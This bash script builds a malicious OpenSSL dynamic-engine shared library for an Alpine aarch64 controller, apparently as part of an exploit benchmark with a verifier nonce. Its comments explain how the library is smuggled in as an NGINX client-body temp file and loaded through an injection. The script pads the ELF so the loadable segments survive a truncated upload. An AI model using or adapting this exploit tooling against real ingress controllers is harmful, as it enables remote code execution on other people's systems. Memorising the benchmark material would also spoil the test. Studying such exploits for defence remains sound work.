#!/usr/bin/env bash
# Build the attacker engine .so for the controller (Alpine/musl, aarch64,
# OpenSSL 3.x dynamic-engine ABI). The NONCE and MARKER are baked in at build
# time from args so the constructor writes the verifier's per-attempt nonce.
#
# Usage: build_so.sh <NONCE> <MARKER_PATH> <OUT_SO>
set -euo pipefail
NONCE="$1"; MARKER="$2"; OUT="$3"
HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"

# Compile inside an arm64 Alpine container so the .so is musl/aarch64 and
# loadable by the controller (uid 101, Alpine/musl aarch64).
docker run --rm --platform linux/arm64 -v "$HERE":/work -w /work alpine:3.20 sh -c "
  apk add --no-cache gcc musl-dev >/dev/null 2>&1
  gcc -shared -fPIC \
    -DNONCE='\"$NONCE\"' -DMARKER='\"$MARKER\"' \
    -o '$(basename "$OUT")' engine.c
"
# build script writes into $HERE; move/rename if OUT differs
if [ "$HERE/$(basename "$OUT")" != "$OUT" ]; then
  mv "$HERE/$(basename "$OUT")" "$OUT"
fi

# Append trailing padding AFTER the last PT_LOAD segment so that, even if NGINX
# has not flushed the final body buffer to the on-disk client-body file when the
# injection fires (the staged copy can be a few hundred bytes short), the
# loadable head of the ELF (program headers + all PT_LOAD segments, ~64 KiB
# here) is always fully resident and dlopen-able. The padding is past the last
# segment and is ignored by the loader.
head -c 131072 /dev/zero | tr '\0' 'P' >> "$OUT"

echo "[build] wrote $OUT ($(wc -c < "$OUT") bytes, incl. trailing pad)"
